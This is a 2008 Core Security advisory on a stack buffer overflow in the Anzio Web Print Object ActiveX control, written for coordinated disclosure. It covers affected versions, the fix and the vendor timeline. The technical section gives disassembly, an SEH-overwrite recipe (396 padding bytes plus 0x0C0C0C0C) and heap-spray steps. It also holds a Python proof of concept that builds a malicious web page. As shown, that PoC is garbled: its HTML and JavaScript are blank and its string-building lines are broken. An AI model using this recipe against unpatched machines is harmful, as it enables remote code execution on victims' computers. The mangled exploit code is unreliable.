Anzio Web Print Object

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*Advisory Information* Title: Anzio Web Print Object Buffer Overflow

Advisory ID: CORE-2008-0624

Advisory URL:

http://www.coresecurity.com/content/anzio-web-print-object-buffer-overflow

Date published: 2008-08-20

Date of last update: 2008-08-20

Vendors contacted: Anzio

Release mode: Coordinated release

*Vulnerability Information* Class: Buffer overflow

Remotely Exploitable: Yes (client side)

Locally Exploitable: No

Bugtraq ID: 30545

CVE Name: CVE-2008-3480

*Vulnerability Description* Anzio Web Print Object (WePO) is a Windows ActiveX web page component

that, when placed on a web page can "push" a print job from a file or

web server to a user's local printer without having to display the HTML

equivalent to that user. By placing WePO code on a web page, you can

provide a method whereby the viewer of that web page can request a local

print of a host resident print job, archived print job or a report

stream through a server-side script request. Anzio Web Print Object is vulnerable to a buffer overflow attack, which

can be exploited by remote attackers to execute arbitrary code, by

providing a malicious web page with a long "mainurl" parameter for the

WePO ActiveX component.

*Vulnerable Packages* . Anzio Web Print Object 3.2.19

. Anzio Web Print Object 3.2.24

. Anzio Print Wizard Server Edition 3.2.19

. Anzio Print Wizard Personal Edition 3.2.19

. Older versions are probably affected too, but were not checked.

*Non-vulnerable Packages* . Anzio Web Print Object 3.2.30

*Vendor Information, Solutions and Workarounds* Update to Anzio Web Print Object 3.2.30, available at

http://www.anzio.com/download-wepo.htm, or visit the vendor homepage at

http://www.anzio.com.

*Credits* This vulnerability was discovered and researched by Francisco Falcon

from Core Security Technologies.

*Technical Description / Proof of Concept Code* The WePO ActiveX component has a parameter named "mainurl" that

indicates the local file name or the URL from where to retrieve the

content to print: /----------- - -----------/ WePO takes the value of "mainurl" parameter in OLECHAR format and

transforms it to a BSTR string using the API SysAllocStringLen from

oleaut32.dll. The pointer to a BSTR string returned by SysAllocStringLen

is stored in the stack. /----------- 024F64B8 . 51 PUSH ECX

~ ; length of "mainurl" value

024F64B9 . 52 PUSH EDX

~ ; pointer to "mainurl" value

024F64BA . E8 4DB0FFFF CALL JMP.oleaut32.SysAllocStringLen

024F64BF . 5A POP EDX

024F64C0 . 85C0 TEST EAX,EAX

024F64C2 .^0F84 94F9FFFF JE PWBUTT~1.024F5E5C

024F64C8 . 8902 MOV DWORD PTR DS:[EDX],EAX

~ ; ;Save BSTR pointer to stack

024F64CA > C3 RETN - -----------/ After that, it copies "mainurl" value in ASCII format to a buffer on the

stack, without validating its length. /----------- 024F300C /$ 56 PUSH ESI

024F300D |. 57 PUSH EDI

024F300E |. 89C6 MOV ESI,EAX

~ ; ESI = pointer to "mainurl" value

024F3010 |. 89D7 MOV EDI,EDX

~ ; EDI = pointer to destination buffer in the stack

024F3012 |. 89C8 MOV EAX,ECX

~ ; ECX = length of "mainurl" value

024F3014 |. 39F7 CMP EDI,ESI

024F3016 |. 77 13 JA SHORT PWBUTT~1.024F302B

024F3018 |. 74 2F JE SHORT PWBUTT~1.024F3049

024F301A |. C1F9 02 SAR ECX,2

024F301D |. 78 2A JS SHORT PWBUTT~1.024F3049

024F301F |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR

DS:[ESI] ; Copy "mainurl" value to stack buffer,

024F3021 |. 89C1 MOV ECX,EAX

~ ; without validating its length

024F3023 |. 83E1 03 AND ECX,3

024F3026 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

024F3028 |. 5F POP EDI

024F3029 |. 5E POP ESI

024F302A |. C3 RETN - -----------/ By supplying a web page with a long "mainurl" value, an attacker can

overflow the stack buffer mentioned above and overwrite the SEH

(Structured Exception Handler), enabling arbitrary code execution on the

machine that has the WePO ActiveX component installed. The Structured

Exception Handler can be overwritten by providing a "mainurl" value with

396 bytes as padding, plus 4 specially chosen bytes that will replace

the original SEH, allowing execution of arbitrary code with the

privileges of the current user. When providing such a long string as value for the "mainurl" parameter,

an access violation exception is generated when WePO object calls the

API SysFreeString to deallocate the BSTR string that was previously

created with SysAllocStringLen. The exception raises because the

original pointer to the BSTR string was replaced with 4 junk bytes from

the 396 padding bytes mentioned above. /----------- 024F5E98 |. 50 PUSH EAX

024F5E99 |. 52 PUSH EDX

~ ; junk, should be pointer to BSTR string

024F5E9A |. E8 7DB6FFFF CALL JMP.oleaut32.SysFreeString - -----------/ At this point, the Structured Exception Handler is already controlled by

the attacker, so when exception raises the execution is transferred to

an arbitrary memory address chosen by the person providing the malicious

web page. By adding JavaScript code in the malicious web page, the attacker can

use a technique called Heap Spray, that fills the heap of the browser

process with his payload, and then jump to the arbitrary code located in

the process heap. The following Python code will generate an HTML file that, when opened

on a machine with Web Print Object installed, will launch the Windows

Calculator as a proof of the possibility to execute arbitrary code on a

machine that has the vulnerable ActiveX component installed. This Proof

of Concept was tested in Windows XP Professional SP2 with Internet

Explorer 6.0.2900.2180, and Windows XP Professional SP3 with Internet

Explorer 6.0.2900.3264, but can be easily modified to work in other

platforms. /----------- malicioushtml = open('WePO-PoC.html','w')

header = '''

'''

malicioushtml.write(header)

objeto = '''

~ classid="clsid:4CE8026D-5DBF-48C9-B6E9-14A2B1974A3D"

~

codebase="http://www.anzio.com/controls30/printwizocx.cab#version=3,0,0,0"

~ width=0

~ height=0

~ align=center

~ hspace=0

~ id="botontrigger"

|

'''

malicioushtml.write(objeto)

craftedparam = ' craftedparam = 'A' * 0x188 #0x188 padding bytes to fill the buffer

craftedparam = chr(0xFF) * 4 #indicates the end of SEH Chain

craftedparam = chr(0x0C) * 4 #overwrite the SEH, new value will be

0x0C0C0C0C

craftedparam = '">'

malicioushtml.write(craftedparam)

jscode = '''

~

~

~

~

~

~

~

~

~

~

~

~

~

~

~

~

~

~

~

~

~

~

~

~

'''

malicioushtml.write(jscode)

malicioushtml.close() - -----------/

*Report Timeline* . 2008-06-27: Core Security Technologies notifies Anzio that there is a

vulnerability in Web Print Object (WePO).

. 2008-06-28: Vendor acknowledges notification.

. 2008-07-01: Core sends an advisory draft, containing technical details

and Proof of Concept code for the vulnerability.

. 2008-07-08: Core asks for confirmation of the vulnerability, and

reminds the vendor that the advisory's publication date is set to July

14th, 2008.

. 2008-07-08: Vendor asks Core to resend the report.

. 2008-07-14: Core sends (again) the advisory draft, and asks for

information about the vendor's plan for fixing the vulnerability.

. 2008-07-21: Core asks for updated information, and notifies the vendor

that the advisory's publication date has been rescheduled for August 4th.

. 2008-07-21: Vendor asks Core to resend the report.

. 2008-07-21: Core sends (for the third time) the advisory draft as a

compressed file.

. 2008-07-21: Vendor confirms reception of the reports and states that

the problem has been identified.

. 2008-07-31: Core asks for updated information about the release of

fixed versions (no reply received).

. 2008-08-04: Core asks for updated information, and reschedules the

publication of the advisory to August 11th 2008 (no reply received).

. 2008-08-11: Core makes a phone call to the vendor, asking one more

time for a release date of fixed versions. Vendor informs that new

versions will be released during the week.

. 2008-08-15: Vendor releases fixed version Anzio Web Print Object 3.2.30.

. 2008-08-20: Advisory CORE-2008-0624 is published.

*About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged

with anticipating the future needs and requirements for information

security technologies. We conduct our research in several important

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vulnerabilities, novel solutions and prototypes for new technologies.

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*About Core Security Technologies* Core Security Technologies develops strategic solutions that help

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endpoint and end-user vulnerabilities and identifies what resources are

exposed. It enables organizations to determine if current security

investments are detecting and preventing attacks. Core Security

Technologies augments its leading technology solution with world-class

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Security Technologies can be reached at 617-399-6980 or on the Web at

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*Disclaimer* The contents of this advisory are copyright (c) 2008 Core Security

Technologies and (c) 2008 CoreLabs, and may be distributed freely

provided that no fee is charged for this distribution and proper credit

is given.

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